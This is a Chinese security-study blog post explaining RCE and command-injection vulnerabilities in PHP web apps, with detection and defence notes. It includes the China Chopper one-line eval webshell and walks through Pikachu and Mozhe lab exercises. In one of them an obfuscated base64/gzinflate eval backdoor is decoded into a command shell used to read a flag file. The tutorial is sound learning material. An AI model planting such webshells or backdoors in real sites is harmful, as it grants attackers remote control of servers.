RCE漏洞以及命令执行漏洞

目录

概念 

代码执行和命令执行区别

代码执行漏洞特点

命令执行漏洞特点

漏洞形成条件

漏洞产生地方 

如何检测漏洞

白盒情况下

黑盒情况下

防御方案

变量过滤或固定

WAF产品防火墙防护

敏感函数禁用

PHP:

python:

Java:

命令执行函数

拓展

菜刀一句话代码原理

案例演示

pikachu靶场黑盒功能点命令执行——应用功能

墨者白盒代码及命令执行——代码分析

案例补充知识点: 加密的带有echo


概念 

这里引用小迪的话:
        在Web应用中有时候程序员为了考虑灵活性、简洁性、会将代码调用代码或者命令执行函数进行调用进行处理。比如当应用在调用一些能将字符串转换为代码的函数的时候,没有考虑用户是否能够控制这个字符串,将造成代码执行漏洞。

代码执行和命令执行区别

代码执行漏洞特点

基于脚本,根据由对应编写的脚本产生不同的危害,如php执行出php命令,Java则是Java命

eval函数调用输入是字符变为代码执行

此时网页将其传递的参数

http://192.168.248.129:801/RCE.php?x=phpinfo();

在代码中所执行的是:

$code=phpinfo();     eval(phpinfo(); ); #eval会将()中的以代码进行解析而不是字符串

system函数调用系统命令

命令执行漏洞特点

基于系统,根据使用的系统产生不同的危害,Windows执行Windows命令,Linux执行Linux命令

system函数调用的是系统命令 

 此时相当于cmd命令行内输入ipconfig如果是Linux系统则是ifconfig

漏洞形成条件

两个条件缺一不可

可控变量:可以控制的变量为可控变量,比如通过网址的一个传参,通过参数值改变变量值

通俗来说就是能够输入自己写的一些数据 

漏洞函数:指的是哪个函数对这个变量进行操作,如:eval

好比:上传函数对应文件上传,查询函数对应sql注入,输出函数对应XSS


另外这种漏洞出现的机率取决于网站的应用特性或带有使用的功能

所以在进行找这种漏洞的时候

如果网站只是单纯的一个展示网站,没有其他的查询接口和服务,出现代码执行的漏洞概率不大

漏洞产生地方 

漏洞产生不只在编写网页的时候可能存在,同时在中间件,框架还有一些cms等插件程序也是存在

对于插件,框架,cms这些开源的直接到网上进行查找就可以进行复现

web程序源码

中间件平台

其他框架漏洞

如何检测漏洞

白盒情况下

通过代码审计进行查看源代码进行查看

黑盒情况下

漏洞扫描工具:AWVS、Appscan、Nessus

公开漏洞:网上会曝出漏洞,如果网上中有曝出相同的网站漏洞进行利用

源码漏洞,框架漏洞,中间件漏洞

手工看参数及功能点:根据对方的参数值和功能点进行查找,

查看某一个变量参数和使用的脚本语言有相关,实战中会遇到加密

 

防御方案

变量过滤或固定

代码执行是多样性的,不像sql注入一样存在固定的关键字,可以使用各种函数进行代替

所以过滤变量值不显示,可以改为固定变量值。

只允许使用某一种命令

WAF产品防火墙防护

找到市面上的一些安全产品进行防护

敏感函数禁用

PHP:

eval:把字符串作为php进行执行

assert:断言

call_user_func():把第一个参数作为回调参数

call_user_func_array():调用回到函数,并把第一个数组参数作为回到函数的参数

array_map():为数组的每个元素应用回调参数

python:

exec

Java:

Java中没有类似php中的eval函数可以直接将字符串转为代码进行执行的函数

但是存在反射机制,OGNL、SpEL等(存在相关利用的功能)

命令执行函数

system():执行外部程序并输出显示

exec():执行一个外部程序

shell_exec():通过shell环境执行命令,并将完整的输出以字符串的方式返回

passthru():执行外部命令并显示原始输出

pcntl_exec():在当前进程空间执行指定程序

``反引号():

<?php
echo `abc`;
?>

拓展

菜刀一句话代码原理

<?php @eval($_POST['Z']);?>

 原理:

菜刀将一些执行的数据包写到根据工具里面,然后利用密码传参点进行收发控制

eval会将传递的数据包以代码进行执行

通俗来说就是:操作变为数据包,然后数据包通过密码进行发送

案例演示

pikachu靶场黑盒功能点命令执行——应用功能

发现存在可以用于ping服务器通信,可能存在系统命令执行漏洞

另外:此时ping的是他的本机地址,同时也可能存在SSRF漏洞

进行分析可控变量,是否满足条件,发现是可以自由输入是可行的

 进行信息收集验证是属于Linux系统还是Windows系统

发现为window系统

 此时我们就利用Windows的多命令执行,发现这里是存在漏洞的

Windows下如何一次运行多个命令_天王的博客-CSDN博客_windows执行多条命令

 此后我们就可以对其进行后续的渗透

墨者白盒代码及命令执行——代码分析

 此时我们拿到该网页的一个源代码

 eval函数是一个代码输入的函数,此时这里可能是存在代码执行漏洞

我们此时将原来的eval函数更改为echo输出函数,将输入的改成输出原来的字符

<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>

 由于是解密,所以&符号也要根变为’

<?php
echo gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));
?>

此时在php环境得到输出结果为

echo `$_REQUEST[a]`;; ?>

 而request函数则是一个接受参数的函数,接受get,post和cookie的变量数据

此时就相当于

那么得知接受参数名为a,并且由request函数接受满足可控变量,eval能够带入代码进行执行

eval(echo `$_REQUEST[a]`;; ?>)

 此时利用变量a进行传参,列出当前文件

通过数据包发现是属于Linux系统

那么我们将使用tac命令对其读取文件,获取里面的内容,拿到flag

  如果是Windows系统则是cat

cat<key_120672328426179.php

 

案例补充知识点: 加密的带有echo

此处的echo并非是自己更换的echo

而是解密之后自带的echo,我们换成print输出也是带有echo输出

 

 他是存在于

gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));

当加上echo之后是命令执行,而不存在echo的情况下是代码执行 

名词解释:

poc:验证代码

exp:利用漏洞

本文章仅供学习交流

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值